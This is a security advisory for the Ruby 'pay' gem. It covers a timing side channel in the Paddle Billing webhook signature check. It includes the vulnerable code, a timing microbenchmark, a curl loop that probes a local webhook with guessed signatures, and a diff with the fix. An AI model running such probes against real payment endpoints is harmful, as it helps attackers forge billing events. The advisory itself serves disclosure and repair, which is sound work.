GHSA-mjgf-xj26-9qf9 pay-rails/pay: non-constant-time HMAC comparison in Paddle Billing webhook signature verifier

• RubyGems pay: <= 11.6.1 (no fix yet)

Summary `Pay::Webhooks::PaddleBillingController#valid_signature?` (`app/controllers/pay/webhooks/paddle_billing_controller.rb`) verifies the Paddle Billing webhook signature by computing `OpenSSL::HMAC.hexdigest(...)` and comparing it to the attacker-supplied header value using Ruby's `String#==`. Ruby's `==` is non-constant-time — it returns as soon as the first byte mismatches — and exposes a per-byte timing side channel on the webhook signature verification path. The canonical mitigation is to use a constant-time primitive (`OpenSSL.fixed_length_secure_compare` / `ActiveSupport::SecurityUtils.secure_compare`). Impact • CWE-208 — Observable Timing Discrepancy on the webhook signature verifier. • An attacker who can deliver requests to the `/pay/webhooks/paddle_billing` mount point can probe the verifier with guessed `Paddle-Signature` header values. Because `String#==` short-circuits on the first mismatching byte, the response-time distribution shifts as the prefix of the guess matches the real hex digest. • A signature recovered through the oracle lets the attacker deliver forged Paddle Billing webhook events (e.g. `subscription.created` / `transaction.completed`) against the host application. Pay's webhook processor enqueues a `Pay::Webhooks::ProcessJob` for any accepted webhook, which downstream applications use to update billing state — including provisioning paid features, recording refunds, and triggering customer notifications. • The endpoint is internet-reachable by definition (Paddle must POST events to it). Affected versions `pay` (rubygem) ≤ v11.6.1 (latest release as of 2026-05-27). Vulnerable code (file:line) `app/controllers/pay/webhooks/paddle_billing_controller.rb`: ```ruby 24: def valid_signature?(paddle_signature) 25: return false if paddle_signature.blank? 26: 27: ts_part, h1_part = paddle_signature.split(";") 28: _, ts = ts_part.split("=") 29: _, h1 = h1_part.split("=") 30: 31: signed_payload = "#{ts}:#{request.raw_post}" 32: 33: key = Pay::PaddleBilling.signing_secret 34: data = signed_payload 35: digest = OpenSSL::Digest.new("sha256") 36: 37: hmac = OpenSSL::HMAC.hexdigest(digest, key, data) 38: hmac == h1 # :"` under the application's configured Paddle Billing signing secret. The comparison with `h1` (the attacker-supplied `h1=` token from the `Paddle-Signature` header) uses Ruby's native `String#==`, which is implemented in MRI as `rb_str_equal` and returns immediately on the first byte mismatch. How an attacker reaches this code 1. Any Pay-using Rails application mounting `Pay::Engine` exposes `POST /pay/webhooks/paddle_billing` to the public internet (Paddle requires the endpoint to be reachable). The controller is configured by default in `config/routes.rb` when `paddle_billing` is enabled. 2. The controller's `before_action :verify_signature` invokes `valid_signature?` on every inbound request. 3. An attacker repeatedly POSTs forged webhook payloads with `Paddle-Signature: ts=;h1=` headers and measures the response time. The verifier returns early on the first mismatching byte of the hex digest; with a sufficient probe count per byte position, response-time distribution reveals when the prefix of `` matches the real `hmac`. 4. A signature recovered through the oracle lets the attacker forge arbitrary Paddle Billing webhook deliveries. Proof of concept (microbenchmark) Local Ruby microbenchmark isolating the verifier comparison path: ```ruby require 'openssl' require 'benchmark' require 'securerandom' key = SecureRandom.hex(32) payload = '1730000000:{"event_type":"transaction.completed"}' real_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha256'), key, payload) puts "real_hmac=#{real_hmac}" def verify(real, guess) real == guess # mirrors paddle_billing_controller.rb:38 end guesses = { 'all-wrong' => ('0' * real_hmac.length), 'match-1byte' => real_hmac[0..0] + '0' * (real_hmac.length - 1), 'match-32byte' => real_hmac[0..31] + '0' * (real_hmac.length - 32), 'match-63byte' => real_hmac[0..62] + '0', 'exact-match' => real_hmac.dup, } iters = 10_000_000 3.times { guesses.each_value { |g| 1_000_000.times { real_hmac == g } } } # warmup guesses.each do |label, g| t = Benchmark.realtime { iters.times { real_hmac == g } } puts "#{label.ljust(15)} avg_ns=#{(t * 1e9 / iters).round}" end ``` This isolates the same `String#==` path used by `valid_signature?`. The static defect is verifiable by `bundle show pay` and reading line 38 of the controller. End-to-end reproduction against `gem install pay --version 11.6.1` Minimal Rails 8 app mounting `Pay::Engine` with `paddle_billing` enabled: ```bash gem install rails -v 8.0.2 rails new payapp --skip-test --skip-bundle cd payapp echo "gem 'pay', '11.6.1'" >> Gemfile echo "gem 'paddle', '~> 2.0'" >> Gemfile bundle install bin/rails g pay:install config/initializers/pay.rb adds Pay.setup, paddle_billing config config/routes.rb already has 'mount Pay::Engine => "/pay"' from generator bin/rails server & attacker probes the webhook endpoint WEBHOOK="http://127.0.0.1:3000/pay/webhooks/paddle_billing" BODY='{"event_type":"transaction.completed","data":{}}' TS=$(date +%s) Try guesses with different prefix-match counts; response-time delta is the oracle for guess in 0000000000000000000000000000000000000000000000000000000000000000 \ a000000000000000000000000000000000000000000000000000000000000000 ; do for _ in 1 2 3; do curl -s -w '%{time_total}\n' -o /dev/null \ -X POST -H "Paddle-Signature: ts=$TS;h1=$guess" \ -H 'Content-Type: application/json' -d "$BODY" "$WEBHOOK" done done ``` The static defect is verifiable by: ``` $ bundle show pay .../gems/pay-11.6.1 $ sed -n '38p' .../gems/pay-11.6.1/app/controllers/pay/webhooks/paddle_billing_controller.rb hmac == h1 ``` After the fix is applied, the verifier uses `ActiveSupport::SecurityUtils.secure_compare`, which compares all bytes regardless of mismatch position, and the timing oracle closes. Suggested fix Replace `==` with `ActiveSupport::SecurityUtils.secure_compare` (Pay is a Rails engine, so ActiveSupport is always available). ```diff def valid_signature?(paddle_signature) return false if paddle_signature.blank? ts_part, h1_part = paddle_signature.split(";") _, ts = ts_part.split("=") _, h1 = h1_part.split("=") signed_payload = "#{ts}:#{request.raw_post}" key = Pay::PaddleBilling.signing_secret data = signed_payload digest = OpenSSL::Digest.new("sha256") hmac = OpenSSL::HMAC.hexdigest(digest, key, data) • hmac == h1 + return false if h1.nil? || hmac.bytesize != h1.bytesize + ActiveSupport::SecurityUtils.secure_compare(hmac, h1) end ``` The bytesize-equality guard ensures `secure_compare` does not return early on a length mismatch (it falls back to `==` if lengths differ on older Rails versions). For the Paddle Billing signing format the hex tag is a fixed 64 chars. Credit Reported by tonghuaroot (https://github.com/tonghuaroot).